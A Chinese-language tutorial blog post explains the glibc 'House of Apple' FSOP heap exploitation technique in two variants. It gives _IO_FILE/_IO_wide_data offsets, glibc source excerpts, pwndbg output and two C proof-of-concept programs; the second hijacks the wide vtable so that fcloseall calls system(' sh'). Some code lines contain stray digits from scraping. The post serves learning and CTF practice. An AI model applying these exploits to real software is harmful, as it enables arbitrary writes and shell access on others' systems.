堆利用之House of apple
前置知识
学习这种手法之前建议学习的知识:
适用范围:glibc2.23-glibc2.34+
简介
House of Apple 是一种使用largebin attack+FSOP利用的一种新技术
在老版本 glibc 中,我们只需要伪造一个 _IO_FILE 结构体,把它的 vtable 指针指向堆上我们伪造的一个表,表里填上 system 地址。当程序调用 vtable->overflow 时,就变成了 system(“/bin/sh”)。
但是,后来 glibc 加入了 IO_validate_vtable 函数。
- 检查机制:如果你把 vtable 指针修改为堆上的地址,或者不在 glibc 的只读数据段(_IO_file_jumps 所在区域),程序会直接报错终止。
- 困境:我们不能随意伪造 vtable 了,只能指向 glibc 中本来就存在的合法 vtable。
而house of apple 把主 vtable 指向了合法的 _IO_wfile_jumps,通过这个跳板,最终利用了没有被检查的 _wide_vtable
House of apple1e
在此之前我们先回头在看看_IO_FILE中的结构&偏移
_IO_FILE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
|
+0x00: _flags (4 bytes, 通常构造为 "/bin/sh\x00" 或 Magic Number) +0x08: _IO_read_ptr (char *) +0x10: _IO_read_end (char *) +0x18: _IO_read_base (char *) +0x20: _IO_write_base (char *) +0x28: _IO_write_ptr (char *) +0x30: _IO_write_end (char *) +0x38: _IO_buf_base (char *) +0x40: _IO_buf_end (char *) +0x48: _IO_save_base (char *) +0x50: _IO_backup_base (char *) +0x58: _IO_save_end (char *) +0x60: _markers (struct _IO_marker *) +0x68: _chain (struct _IO_FILE *) <-- 链表指针,指向下一个 FILE 结构 +0x70: _fileno (int) <-- 文件描述符 +0x74: _flags2 (int) +0x78: _old_offset (__off_t) +0x80: _cur_column (unsigned short) +0x82: _vtable_offset (signed char) +0x83: _shortbuf (char[1]) +0x88: _lock (_IO_lock_t *) <-- 必须指向可写内存(通常设为 NULL 或已知堆地址) +0x90: _offset (__off64_t) +0x98: _codecvt (struct _IO_codecvt *) +0xa0: _wide_data (struct _IO_wide_data *) <-- house of aple1 利用点 +0xa8: _freeres_list (struct _IO_FILE *) +0xb0: _freeres_buf (void *) +0xb8: __pad5 (size_t) +0xc0: _mode (int) <-- 宽字符模式开关 (0, -1, 1) +0xc4: _unused2 (char[20])
+0xd8: vtable (struct _IO_jump_t *) <-- 虚表指针 (利用的关键!)
|
house of apple1中主要是利用了_IO_FILE中的 _wide_data,偏移为0xa0,该成员为 _IO_wide_data结构体类型
_IO_wide_data:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; };
|
在_IO_wide_data中也存在一个 _wide_vtable虚表,可以看见它为 _IO_jump_t类型,
_IO_wstrn_jumps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_wstr_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail), JUMP_INIT(xsputn, _IO_wdefault_xsputn), JUMP_INIT(xsgetn, _IO_wdefault_xsgetn), JUMP_INIT(seekoff, _IO_wstr_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_wdefault_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
|
而 _IO_wstrn_jumps会调用里面的函数指针来调用函数,所以我们可以把 _IO_FILE的vtable改为 _IO_wstrn_jumps来触发攻击,利用 _IO_wstrn_jumps位于libc只读数据段,从而绕过IO_validate_vtable的检查
下面具体讲讲怎么个利用
原理:
house of apple1 主要是对_IO_wstrn_jumps结构体中的函数指针指向的 _IO_wstrn_overflow的利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c) { _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) { _IO_wsetb (fp, snf->overflow_buf, 44 snf->overflow_buf + (sizeof (snf->overflow_buf) 4444 / sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf; fp->_wide_data->_IO_read_base = snf->overflow_buf; fp->_wide_data->_IO_read_ptr = snf->overflow_buf; fp->_wide_data->_IO_read_end = (snf->overflow_buf 4444 + (sizeof (snf->overflow_buf) 44444 / sizeof (wchar_t))); }
fp->_wide_data->_IO_write_ptr = snf->overflow_buf; fp->_wide_data->_IO_write_end = snf->overflow_buf; return c; }
|
该函数的核心操作是处理宽字符字符串流的溢出:
- 判断与初始化:检查 _wide_data->_IO_buf_base 是否指向了结构体内部的临时的溢出缓冲区(snf->overflow_buf)。
- 重置读写指针:它会将 _IO_write_base、_IO_read_ptr 等指针全部强行指向这个临时缓冲区。
- 关键动作:函数最后将 _IO_write_ptr 和 _IO_write_end 设置为相等(都指向缓冲区开头)。
可以发现这里并没有对fp->_wide_data进行合法性检查
既然不检查地址,我们可以将 fp->_wide_data 指针修改为任何我们控制的内存地址(通常是堆地址)。
- 在这个伪造的堆地址上,我们可以精准地布置每一个字节,伪造出一个完整的 struct _IO_wide_data。
- 我们可以利用其中的赋值**
fp->_wide_data->_IO_write_base = snf->overflow_buf;**控制所有的读写指针(_IO_read_ptr, _IO_write_base 等)的值为snf->overflow_buf的地址
造成的实际效果就是向某个目标地址写入snf->overflow_buf(不可控)的地址
下面是我的一个模仿的Poc:
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h>
size_t dest[10];
void init(){ setbuf(stdout, 0); setbuf(stdin, 0); setvbuf(stderr, 0, 2, 0); }
int main(int argc, char *argv[]) { init();
printf("目标地址:%p\n", &dest); printf("目标地址的值:%p",dest[0]); size_t libcbase = (size_t)&printf - 0x606f0; printf("获取 libc 基地址 || libc 基地址为:%p\n", (void*)libcbase);
size_t *_io_list_all = (size_t *)(libcbase + 0x21b680); printf("|| _IO_list_all is :%p\n", _io_list_all);
size_t *fake_io = malloc(0x200); memset(fake_io, 0, 0x200); printf("|| fake_io is :%p ", fake_io);
size_t *fake_vtable = fake_io + 0xd8/8; printf("|| fake_vtable is :%p", fake_vtable);
size_t _IO_wstrn_jumps = libcbase + 0x216dc0; printf("|| _IO_wstrn_jumps is :%p", (void*)_IO_wstrn_jumps); 4 *_io_list_all = (size_t)fake_io; printf("现在的 || _IO_list_all is :%p\n", _io_list_all);
*fake_vtable = _IO_wstrn_jumps; printf("|| fake_vtable now is : %p\n", fake_vtable);
printf("修改前,wide_data = %p", (void*)*(size_t*)((char*)fake_io + 0xa0)); *(size_t*)((char*)fake_io + 0xa0) = (size_t)((char*)&dest[0] - 0x18);
printf("修改后,wide_data = %p\n", (void*)*(size_t*)((char*)fake_io + 0xa0)); *(size_t*)((char*)fake_io + 0x20) = 0; *(size_t*)((char*)fake_io + 0x28) = 1;
fcloseall();
printf("目标地址的值:%p\n", dest[0]); system("read -p 'Press Enter to continue...' var");
return 0; }
|
下面开始演示:
第一步: 获取所需函数及参数地址,伪造 io_file 并且将其挂进 io_list_all管理的链表中,我这里选择直接修改 io_list_all 的值

第二步: 修改 fake_vtable 为 _IO_wstrn_jumps

第三步: 修改 fake_io+0xa0 也就是 wide_data 为我们的目标地址dest-0x18
为什么是0x18?
因为_IO_wide_data 结构体中的偏移
_IO_write_base:偏移 0x18
_IO_write_ptr :偏移 0x20
_IO_write_end :偏移 0x28
1
| 这里我们提前将目标地址减了0x18,在触发攻击时,就可以直接向目标地址写入snf->overflow_buf的地址了
|

但dest-0x18里的值也会改变,因为fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
1 2 3 4 5 6 7
| pwndbg> tel 0x4040a0-0x18 00:0000│ 0x404088 (completed) —▸ 0x405390 ◂— 0 01:0008│ 0x404090 —▸ 0x405490 ◂— 0 02:0010│ 0x404098 —▸ 0x405390 ◂— 0 ... ↓ 4 skipped 07:0038│ 0x4040c0 (dest+32) —▸ 0x405490 ◂— 0 pwndbg>
|
这就是一次完整的house of apple1,这个攻击手法只能往几个地址写入一个堆地址。
house of apple2
简介:
house of apple2主要是对_IO_wfile_jumps这个结构体进行利用,利用 _IO_OVERFLOW的 _IO_wfile_overflow(也可以对其他的io链进行利用)去劫持 _IO_wfile_doallocate函数
原理
_IO_wfile_jumps结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| const struct _IO_jump_t _IO_wfile_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; libc_hidden_data_def (_IO_wfile_jumps)
|
漏洞点位于结构体中的_IO_wfile_overflow函数
_IO_wfile_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { if (f->_wide_data->_IO_write_base == 0) 4{ 4 _IO_wdoallocbuf (f); 4 _IO_free_wbackup_area (f); 4 _IO_wsetg (f, f->_wide_data->_IO_buf_base, 44 f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
4 if (f->_IO_write_base == NULL) 4 { 4 _IO_doallocbuf (f); 4 _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); 4 } 4}
} ...... } libc_hidden_def (_IO_wfile_overflow)
|
_IO_wfile_overflow中在经过一些对flag值的检查后会调用其中的 _IO_wdoallocbuf函数,该函数会调用wide_data->wide_vtable中的函数指针,所以我们得进入该函数分支才可以劫持wide_vtable中的函数指针来getshell
进入函数前得满足的三个条件:
f->_flags & _IO_NO_WRITES要为假,确保 _flags 不包含 _IO_NO_WRITES(其值为 0x8)
(f->_flags & _IO_CURRENTLY_PUTTING) == 0,确保 _IO_CURRENTLY_PUTTING 标志为0,其值为0x800,也就是说_flags 的高位不要设置 0x800
f->_wide_data->_IO_write_base == 0,这里只需要我们伪造的wide_data中的_IO_write_base成员的值为0即可
_IO_wdoallocbuf:
1 2 3 4 5 6 7 8 9 10 11 12
| void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, 44 fp->_wide_data->_shortbuf + 1, 0); } libc_hidden_def (_IO_wdoallocbuf)
|
该函数中调用了wide_vtable中的_IO_WDOALLOCATE函数指针,具体偏移可以看看 _IO_jump_t里的因为wide_vtable就是这个类型
这里我们还得绕过两个检查:
if (fp->_wide_data->_IO_buf_base),fp->_wide_data->_IO_buf_base这个值得为0,伪造时清零即可
if (!(fp->_flags & _IO_UNBUFFERED)),_IO_UNBUFFERED 宏的值为 0x2,即 _flags 的第 1 位(bit1)不能为 1
到这里思路差不多就有了,目标是伪造一个次级虚表篡改_IO_WDOALLOCATE为system,然后fp改为” sh”(因为空格 0x20 的 bit1 和 bit3 均为 0,可以绕过检查)
- 我们先伪造 一个fake_IO_FILE_ 并且将其挂进 _IO_list_all,然后伪造fake_vtable(次级虚表) 和fake_wide_data结构体
- 修改伪造的FILE结构的vtable为_IO_wfile_jumps的地址,将fake_IO_FILE中的wide_data改为我们伪造的,wide_data中的wide_vtable改为我们伪造的次级虚表地址,将次级虚表里面的doallocate函数指针为system
- 为了触发_IO_wfile_overflow函数,分别将write_base设置为 0 write_ptr设置为1,_mode为0,并将伪造的FILE结构的_flag值设定为” sh”
- 最后程序退出刷新文件流,触发攻击
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| #define _GNU_SOURCE #define SHOW(x) printf("||" #x " = %p\n", (void*)(x)) #include<stdio.h> #include<stdlib.h> #include<string.h>
void init(){ setbuf(stdout, 0); setbuf(stdin, 0); setvbuf(stderr, 0, 2, 0); }
int main() { init(); size_t libcbase = (size_t)&printf - 0x606f0; size_t _IO_wfile_jumps; _IO_wfile_jumps = libcbase + 0x2170c0; SHOW(_IO_wfile_jumps); size_t* _IO_list_all = libcbase + 0x21b680; SHOW(_IO_list_all); size_t *fake_io = malloc(0x200); memset(fake_io, 0, 0x200); SHOW(fake_io); size_t *fake_fp_vtable = (size_t*)((char*)fake_io + 0xd8); size_t *fake_fp_wide = (size_t*)((char*)fake_io + 0xa0); SHOW(fake_fp_vtable);
size_t *fake_vtable = (size_t*)malloc(0x200); memset(fake_vtable,0,0x200); size_t *fake_wide_data = (size_t*)malloc(0x200); memset(fake_wide_data,0,0x200); size_t *fake_wide_data_vtable = (size_t*)((char*)fake_wide_data+0xe0);
SHOW(fake_vtable); SHOW(*fake_wide_data); *_IO_list_all = fake_io; SHOW(_IO_list_all); *fake_fp_vtable = _IO_wfile_jumps; *fake_fp_wide = fake_wide_data; *fake_wide_data_vtable = fake_vtable; size_t* doallocate = (size_t*)((char*)fake_vtable+0x68);
*doallocate = &system; SHOW(*fake_fp_vtable); SHOW(*fake_fp_wide); SHOW(*fake_wide_data_vtable); SHOW(*doallocate); strcpy((char*)fake_io," sh"); *(size_t*)((char*)fake_io + 0x20) = 0; *(size_t*)((char*)fake_io + 0x28) = 1; fcloseall(); getchar(); return 0;
}
|
攻击效果:

参考链接:
https://zikh26.github.io/posts/19609dd.html#house-of-apple1
https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/